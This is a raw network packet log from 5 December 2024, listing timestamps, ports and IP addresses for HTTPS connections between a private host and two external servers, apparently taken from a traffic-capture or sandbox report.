Dec 5, 2024 22:17:14.914977074 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.915574074 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.915641069 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.915834904 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.919357061 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.923332930 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.923347950 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.925964117 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.925972939 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.948236942 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.948882103 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.948889971 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.949225903 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.951935053 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.951994896 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.952126980 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.959340096 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.970666885 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.999339104 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.082480907 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:15.082494974 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:15.317809105 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.317828894 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.317876101 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.317888021 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.318723917 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.318752050 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.318751097 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.318778038 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.318800926 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.318839073 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.318861961 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.318898916 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.320998907 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.321039915 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.321089029 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.327764988 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.327845097 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.327852964 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.327878952 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.327894926 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.327907085 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.328027010 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.328061104 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.331532955 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.331547976 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.348232985 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.350528955 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.350578070 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.350928068 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.350946903 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.354799986 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.354830027 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.354902029 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.355113029 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.355123997 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.384290934 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.388039112 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.388082027 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.388084888 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.388122082 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.388494968 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.388501883 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.394912958 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.394934893 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.394985914 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.395404100 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.395416975 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.632087946 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.632175922 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.632630110 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.632746935 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.632778883 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.633546114 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.633552074 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.633799076 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.633827925 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.634783983 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.634793043 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.635195017 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.635205030 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.635819912 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.635824919 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.653918982 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.680190086 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.680208921 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.681214094 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.681219101 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.720655918 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.721229076 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.721259117 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:15.721754074 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:15.721760035 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.066879034 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.066957951 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.067018032 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.068125963 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.068182945 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.068233967 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.088716984 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.088764906 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.088812113 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.108922005 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.108938932 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.108968973 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.108974934 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.114291906 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.114291906 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.114310026 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.114317894 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.115508080 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.115551949 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.115894079 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.116177082 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.116189957 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.117285013 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.117290974 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.117306948 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.117310047 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.117398977 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.117404938 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.117429972 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.117717981 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.117729902 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.122005939 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.122029066 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.122128963 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.122457027 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.122458935 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.122463942 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.122472048 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.123620033 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.123629093 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.123655081 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.123914957 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.123927116 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.123955965 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.124172926 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.124185085 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.158658981 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.158723116 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.158886909 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.167193890 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.167203903 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.167228937 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.167233944 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.170896053 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.170922995 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.172837019 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.173173904 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.173186064 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.198831081 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.198899984 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.200315952 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.200315952 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.200395107 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.200400114 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.484271049 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.484286070 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:16.484374046 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.488743067 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:16.488759041 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.077349901 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.084731102 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.084748030 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.085123062 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.085598946 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.085598946 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.085656881 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.110194921 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.110384941 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.110404968 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.110743046 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.111016035 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.111076117 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.111155987 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.125619888 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.151328087 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.523605108 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.523648024 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.523802996 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.525012016 CET	49873	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.525032043 CET	443	49873	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.544342041 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.549006939 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.549055099 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.549078941 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.549103975 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.549312115 CET	49874	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.549324036 CET	443	49874	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.832546949 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.832855940 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.832880974 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.833216906 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.833735943 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.833796024 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.833875895 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.839227915 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.839660883 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.839695930 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.839771986 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.840107918 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.840114117 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.840336084 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.840352058 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.840684891 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.840688944 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.842411995 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.842653036 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.842659950 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.842992067 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.842995882 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.879333019 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.890281916 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.890631914 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.890655041 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.891001940 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.891006947 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.984870911 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.985137939 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.985146999 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.985501051 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.988607883 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:17.988684893 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:17.988727093 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.032238960 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.032247066 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.221123934 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.221931934 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.221951962 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.222670078 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.222676992 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.267863035 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.267925024 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.267966032 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.273689032 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.273742914 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.273792028 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.275640011 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.275705099 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.275749922 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.277196884 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.277250051 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.277292013 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.277643919 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.277658939 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.277667999 CET	49877	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.277673006 CET	443	49877	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.279632092 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.279635906 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.279644012 CET	49879	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.279647112 CET	443	49879	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.281184912 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.281198978 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.281208038 CET	49878	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.281213045 CET	443	49878	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.286106110 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.286134005 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.286184072 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.288507938 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.288542032 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.288598061 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.291624069 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.291635990 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.292093992 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.292109013 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.294480085 CET	49875	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.294495106 CET	443	49875	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.303442955 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.303469896 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.303527117 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.303631067 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.303643942 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.322309971 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.322320938 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.322370052 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.322874069 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.322885990 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.326313972 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.326360941 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.326400995 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.326627970 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.326638937 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.326651096 CET	49880	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.326656103 CET	443	49880	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.330605984 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.330614090 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.330667019 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.330888033 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.330898046 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468091965 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468112946 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468121052 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468149900 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468169928 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.468180895 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468189955 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.468206882 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.468233109 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.655878067 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.655900002 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.655967951 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.655977964 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.656006098 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.656024933 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.657565117 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.657628059 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.657670975 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.658684969 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.658690929 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.658709049 CET	49882	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.658711910 CET	443	49882	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.661082029 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.661103010 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.661201954 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.661358118 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.661370039 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.665107012 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.665165901 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.665173054 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.665188074 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.665215015 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.665241003 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.665987015 CET	49876	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.665992022 CET	443	49876	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.680646896 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.680680037 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:18.680738926 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.680939913 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:18.680952072 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.009279966 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.009872913 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.009906054 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.010319948 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.010325909 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.038290977 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.038486004 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.038762093 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.038784027 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.038973093 CET	49886	443	192.168.2.4	13.107.246.63
